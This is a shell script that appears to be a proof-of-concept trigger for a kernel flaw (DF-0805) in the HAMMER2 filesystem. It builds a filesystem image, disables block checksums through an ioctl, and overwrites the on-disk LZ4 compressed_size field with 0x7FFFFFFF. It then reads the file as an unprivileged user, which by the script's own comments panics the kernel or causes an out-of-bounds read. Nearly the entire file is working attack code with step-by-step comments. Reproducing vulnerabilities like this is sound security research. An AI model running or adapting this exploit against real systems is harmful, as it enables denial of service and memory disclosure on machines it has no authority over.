DF-0805 / hammer2_trigger.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | #!/bin/sh # DF-0805 โ in-kernel trigger via a crafted HAMMER2 image (v3: ioctl-bypass). # # This script (run as root on the guest) does: # 1. Allocate a vnode-backed memory disk with vnconfig on a fresh image. # 2. newfs_hammer2 on it. # 3. Mount it, create a 64 KiB file with a unique incompressible signature. # 4. Use the HAMMER2IOC_INODE_SET ioctl to disable the per-file check code # (check_algo = HAMMER2_CHECK_NONE). This is the critical step: by # default HAMMER2 verifies each block with XXHASH64 and rejects # corrupted blocks at hammer2_chain.c:1071 BEFORE the LZ4 path runs. # Disabling the check makes the LZ4 path reachable for our corrupted # data block. (A malicious downloaded image could equally ship with # HAMMER2_CHECK_NONE inodes or with validly-computed check codes for # malicious LZ4 payloads.) # 5. Re-write the file so it gets stored with the new check_algo. # 6. Unmount, detach. # 7. Surgically overwrite the on-disk LZ4 compressed_size header with # 0x7FFFFFFF (located via the unique literal signature in the LZ4 # stream). # 8. Re-attach, re-mount, chown the file so maxx can read it. # 9. As maxx, cat the file. This issues read(2) on a HAMMER2 file whose # on-disk LZ4 block has a malicious compressed_size, hitting # hammer2_strategy.c:198-205. # # Expected on stock GENERIC (INVARIANTS ON): # KKASSERT at hammer2_strategy.c:199 fires -> kernel panic (DoS). # Expected on noinv kernel: # silent OOB read past the chain dio buffer. # Expected on a fixed kernel: # read(2) returns cleanly; no panic; corrupt data zeroed. set -eu PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin IMG=/tmp/df0805.h2 MNT=/tmp/df0805_mnt FILE_IN_IMG=/lz4_target VNDISK=vn3 SETCHECK=/root/setcheck # 17-byte unique signature that survives LZ4 as the first literal run. SIG="DF0805LIVEEXPLOIT" echo "[trigger] cleaning up any previous run" umount "$MNT" 2>/dev/null || true vnconfig -u "$VNDISK" 2>/dev/null || true rm -f "$IMG" mkdir -p "$MNT" echo "[trigger] creating 256 MB HAMMER2 image at $IMG" dd if=/dev/zero of="$IMG" bs=1m count=256 status=none echo "[trigger] newfs_hammer2" newfs_hammer2 "$IMG" >/dev/null echo "[trigger] attaching image as vnode disk $VNDISK" vnconfig -c -s labels "$VNDISK" "$IMG" DEV=/dev/"$VNDISK"s0 [ -c "$DEV" ] || DEV=/dev/"$VNDISK" echo "[trigger] using device $DEV" echo "[trigger] mounting" mount_hammer2 "$DEV" "$MNT" echo "[trigger] mounted: $(mount | grep "$MNT" | head -1)" echo "[trigger] writing a unique-signature file (forces LZ4 path, not a hole)" { printf "%s" "$SIG" yes B | head -c 65520 } > "$MNT$FILE_IN_IMG" ls -l "$MNT$FILE_IN_IMG" echo "[trigger] disabling the per-file check code via HAMMER2IOC_INODE_SET" echo "[trigger] (sets check_algo = HAMMER2_CHECK_NONE so the corrupted" echo "[trigger] block reaches the LZ4 path on next read)" "$SETCHECK" "$MNT$FILE_IN_IMG" 0 echo "[trigger] re-writing the file so the data block is re-stored with" echo "[trigger] the new check_algo" { printf "%s" "$SIG" yes B | head -c 65520 } > "$MNT$FILE_IN_IMG" echo "[trigger] syncing and unmounting" sync umount "$MNT" vnconfig -u "$VNDISK" echo "[trigger] scanning image for the unique signature '$SIG'" SIGOFFSET=$(grep -aob "$SIG" "$IMG" | head -1 | cut -d: -f1) if [ -z "$SIGOFFSET" ]; then echo "[trigger] ERROR: signature not found in image" exit 2 fi echo "[trigger] signature '$SIG' found at byte offset $SIGOFFSET" # On-disk layout of an HAMMER2 LZ4 block (verified empirically): # [4-byte compressed_size LE int][token][optional literal-ext byte][literals] # For our 17-byte literal run, LZ4 emits: # token 0xFF (literal=15 ext, match=15 ext), ext byte = 0x02 (=> 17 literals) # Wait โ the on-disk dump showed: # [1e 01 00 00][ff][04][DF08...] # i.e. token 0xFF at SIGOFFSET-2, ext byte 0x04 (= 4 more literals => 19 # total) at SIGOFFSET-1, signature starts at SIGOFFSET. So the 4-byte # compressed_size field is at SIGOFFSET-6 .. SIGOFFSET-3. FIELDSIZE_OFFSET=$((SIGOFFSET - 6)) if [ "$FIELDSIZE_OFFSET" -lt 0 ]; then echo "[trigger] computed size field offset is negative; bailing" exit 2 fi echo "[trigger] reading current 4-byte size field at offset $FIELDSIZE_OFFSET" dd if="$IMG" bs=1 skip="$FIELDSIZE_OFFSET" count=4 status=none | od -An -tx1 | head -1 echo "[trigger] overwriting field with 0x7FFFFFFF (LE: FF FF FF 7F)" printf '\377\377\377\177' | dd of="$IMG" bs=1 seek="$FIELDSIZE_OFFSET" count=4 conv=notrunc status=none echo "[trigger] re-attaching and re-mounting the corrupted image" vnconfig -c -s labels "$VNDISK" "$IMG" DEV=/dev/"$VNDISK"s0 [ -c "$DEV" ] || DEV=/dev/"$VNDISK" mount_hammer2 "$DEV" "$MNT" echo "[trigger] chowning the target file to maxx (uid 1001)" chown 1001:1001 "$MNT$FILE_IN_IMG" chmod 0644 "$MNT$FILE_IN_IMG" echo "[trigger] syncing" sync; sync; sync echo "[trigger] reading the file as maxx (uid 1001) โ this triggers DF-0805" echo "[trigger] * stock GENERIC (INVARIANTS): KKASSERT panic" echo "[trigger] * noinv kernel: silent OOB read" echo "[trigger] * fixed kernel: clean error / zeroed data" su -m maxx -c "cat '$MNT$FILE_IN_IMG' | wc -c" RC=$? echo "[trigger] read returned rc=$RC" echo "[trigger] if you see this line, the kernel did NOT panic." |